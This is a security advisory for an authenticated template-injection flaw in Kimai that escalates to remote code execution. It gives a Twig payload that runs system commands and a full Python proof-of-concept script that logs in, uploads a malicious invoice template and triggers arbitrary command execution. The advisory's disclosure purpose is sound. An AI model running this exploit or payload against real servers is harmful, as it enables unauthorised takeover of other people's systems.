GHSA-fjhg-96cp-6fcw

    Dashboard / Vulnerabilities / GHSA-fjhg-96cp-6fcw

    GHSA-fjhg-96cp-6fcw

    Published: 30 Oct 2023Last Modified: 16 Feb 2024

    Summary: Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File

    Details: # Description The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities. Snippet of Vulnerable Code: ```php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), array_merge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); } ``` The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server. In below, you can find the docker-compose file was used for this testing: ```yaml version: '3.5' services: sqldb: image: mysql:5.7 environment: - MYSQL_ROOT_HOST='%' - MYSQL_DATABASE=kimai - MYSQL_USER=kimaiuser - MYSQL_PASSWORD=kimaipassword - MYSQL_ROOT_PASSWORD=changemeplease ports: - 3336:3306 volumes: - mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1 interval: 20s start_period: 10s timeout: 10s retries: 3 nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: - 8001:80 volumes: - public:/opt/kimai/public:ro restart: unless-stopped depends_on: - kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s start_period: 10s timeout: 10s retries: 3 kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: - [email protected] - ADMINPASS=changemeplease - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 - memory_limit=1024 volumes: - public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped phpmyadmin: image: phpmyadmin restart: always ports: - 8081:80 environment: - PMA_ARBITRARY=1 postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtp_user: kimai:kimai restart: unless-stopped volumes: var: public: mysql: ``` Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}``` 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system I've also attached an automated script to ease up the process of reproducing: # Proof of Concept ```python import requests import re import string import random import sys session = requests.session() BASE_URL = sys.argv[1] def generate(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def get_csrf(path, session): try: project_id = "" csrf_token = "" preview_id = "" template_ids = [] activity_customer_list = [] csrf_login_response = session.get(f"{BASE_URL}{path}").text # Extract CSRF Token pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE) match = pattern.search(csrf_login_response) if match: csrf_token = match.group(1) if "performSearch" in path: preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE) preview_match = preview_pattern.search(csrf_login_response) if preview_match: preview_id = preview_match.group(1) template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE) template_matches = template_pattern.findall(csrf_login_response) if template_matches: template_ids = [int(id) for id in template_matches] if "timesheet" in path: option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE) option_matches = option_pattern.findall(csrf_login_response) if option_matches: activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches] if "project" in path or "activity" in path: project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response) if project_id_match: project_id = project_id_match.group(1) return csrf_token, project_id, preview_id, template_ids, activity_customer_list except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None def login(username,password,csrf,session): try: params = {"_username": username, "_password": password, "_csrf_token": csrf} login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True) if "I forgot my password" not in login_response.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass def create_customer(token,name,session): try: data = { 'customer_edit_form[name]': (None, name), 'customer_edit_form[color]': (None, ''), 'customer_edit_form[comment]': (None, 'xx'), 'customer_edit_form[address]': (None, 'xx'), 'customer_edit_form[company]': (None, ''), 'customer_edit_form[number]': (None, '0002'), 'customer_edit_form[vatId]': (None, ''), 'customer_edit_form[country]': (None, 'DE'), 'customer_edit_form[currency]': (None, 'EUR'), 'customer_edit_form[timezone]': (None, 'UTC'), 'customer_edit_form[contact]': (None, ''), 'customer_edit_form[email]': (None, ''), 'customer_edit_form[homepage]': (None, ''), 'customer_edit_form[mobile]': (None, ''), 'customer_edit_form[phone]': (None, ''), 'customer_edit_form[fax]': (None, ''), 'customer_edit_form[budget]': (None, '0.00'), 'customer_edit_form[timeBudget]': (None, '0:00'), 'customer_edit_form[budgetType]': (None, ''), 'customer_edit_form[visible]': (None, '1'), 'customer_edit_form[billable]': (None, '1'), 'customer_edit_form[invoiceTemplate]': (None, ''), 'customer_edit_form[invoiceText]': (None, ''), 'customer_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/customer/create", files=data) except Exception as e: print(str(e)) def create_project(token, name,project_id ,session): try: form_data = { 'project_edit_form[name]': (None, name), 'project_edit_form[color]': (None, ''), 'project_edit_form[comment]': (None, ''), 'project_edit_form[customer]': (None, project_id), 'project_edit_form[orderNumber]': (None, ''), 'project_edit_form[orderDate]': (None, ''), 'project_edit_form[start]': (None, ''), 'project_edit_form[end]': (None, ''), 'project_edit_form[budget]': (None, '0.00'), 'project_edit_form[timeBudget]': (None, '0:00'), 'project_edit_form[budgetType]': (None, ''), 'project_edit_form[visible]': (None, '1'), 'project_edit_form[billable]': (None, '1'), 'project_edit_form[globalActivities]': (None, '1'), 'project_edit_form[invoiceText]': (None, ''), 'project_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/admin/project/create", files=form_data) except Exception as e: print(str(e)) def create_activity(token, name,project_id ,session): try: form_data = { 'activity_edit_form[name]': (None, name), 'activity_edit_form[color]': (None, ''), 'activity_edit_form[comment]': (None, ''), 'activity_edit_form[project]': (None, ''), 'activity_edit_form[budget]': (None, '0.00'), 'activity_edit_form[timeBudget]': (None, '0:00'), 'activity_edit_form[budgetType]': (None, ''), 'activity_edit_form[visible]': (None, '1'), 'activity_edit_form[billable]': (None, '1'), 'activity_edit_form[invoiceText]': (None, ''), 'activity_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data) if response.status_code == 201: print(f"[+] Activity created: {name}") except Exception as e: print(f"An error occurred: {str(e)}") def upload_malicious_document(token,session): try: form_data = { 'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'), 'invoice_document_upload_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data) if ".pdf.twig" in response.text: print("[+] Twig uploaded successfully!") else: print("[-] Error while uploading, exiting..") exit(1) except Exception as e: print(f"An error occurred: {str(e)}") import re def create_malicious_template(token, name, session): try: data = { 'invoice_template_form[name]': name, 'invoice_template_form[title]': name, 'invoice_template_form[company]': name, 'invoice_template_form[vatId]': '', 'invoice_template_form[address]': '', 'invoice_template_form[contact]': '', 'invoice_template_form[paymentTerms]': '', 'invoice_template_form[paymentDetails]': '', 'invoice_template_form[dueDays]': '30', 'invoice_template_form[vat]': '0.000', 'invoice_template_form[language]': 'en', 'invoice_template_form[numberGenerator]': 'default', 'invoice_template_form[renderer]': 'din', 'invoice_template_form[calculator]': 'default', 'invoice_template_form[_token]': token } response = session.post(f"{BASE_URL}/invoice/template/create", data=data) # Define the regex pattern to capture the template ID and match the name pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL) # Search the response text with the regex pattern match = pattern.search(response.text) if match: template_id = match.group(1) # Extract the captured group print(f"[+] Malicious Template: {name}, Template ID: {template_id}") return template_id # Return the captured template ID else: print("[-] Failed to capture the template ID") create_malicious_template(token,name,session) except Exception as e: print(f"An error occurred: {str(e)}") exit(1) def create_timesheet(token, activity, project, session): form_data = { 'timesheet_edit_form[begin_date]': (None, '01/01/1980'), 'timesheet_edit_form[begin_time]': (None, '12:00 AM'), 'timesheet_edit_form[duration]': (None, '0:15'), 'timesheet_edit_form[end_time]': (None, '12:15 AM'), 'timesheet_edit_form[customer]': (None, ''), 'timesheet_edit_form[project]': (None, project), 'timesheet_edit_form[activity]': (None, activity), 'timesheet_edit_form[description]': (None, ''), 'timesheet_edit_form[fixedRate]': (None, ''), 'timesheet_edit_form[hourlyRate]': (None, ''), 'timesheet_edit_form[billableMode]': (None, 'auto'), 'timesheet_edit_form[_token]': (None, token) } response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False) if response.status_code == 302: # Changed to 200 as 301 is for redirection print(f"[+] Created a new timesheet") ############################## # login csrf, _, _, _, _ = get_csrf("/login", session) # login("admin", "password", csrf, session) login(sys.argv[2],sys.argv[3],csrf,session) # create new customer get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session) customer_name = generate() create_customer(get_customer_token, customer_name, session) # create new project with customer_name get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session) project_name = generate() create_project(get_project_token, project_name, customer_id, session) # create new activity get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session) activity_name = generate() create_activity(get_activity_token, activity_name, project_id, session) # EXPLOIT ###################### # upload malicious file upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session) upload_malicious_document(upload_token, session) # create malicious template to trigger the SSTI get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session) template = generate() temp_id = create_malicious_template(get_template_token, template, session) # create a timesheet with project_id and activity_id activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function print(f"[+] Constructing renderer URLs..") # iterate through all relative project_ids and customer_id for exploit stabiliy for activity_id, customer_id in activity_customer_list: csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}") create_timesheet(csrf, activity_id, customer_id, session) postData = { "searchTerm": "", "daterange": "", "state": "1", "billable": "0", "exported": "1", "orderBy": "begin", "order": "DESC", "exporter": "pdf" } # export timesheets so they appear in exported invoices export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text if "PDF-1.4" in export: csrf, _, _, _, _ = get_csrf("/invoice/", session) # get preview token to construct the preview URL to trigger SSTI csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session) for template_id in template_ids: rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}" # trigger the payload by visiting the renderer URL rce = session.get(rendererURL) if "PDF-1.4" in rce.text: print(rendererURL) print("[+] successfully executed payload") # save the pdf locally since rendered URL will expire as soon as we end the session pdf = f"{generate()}.pdf" with open(pdf,'wb') as pdfFile: pdfFile.write(rce.content) pdfFile.flush() pdfFile.close() print(f"[+] Saved results with name: {pdf}") exit(1) print("[-] Failed to execute payload, try to trigger manually..") ``` which can be executed as such: ```bash $ python3 spl0it.py http://localhost:8001/en admin password "ls -la" ``` this will download the rendered file which will contain the results of the RCE: ![kimaiRCE](https://user-images.githubusercontent.com/32583633/271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png) # Impact Remote Code Execution

    Affected packages

    Package

    Name: kimai/kimai

    Purl: pkg:composer/kimai/kimai

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -2.1.0

    Affected versions

    0.1

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High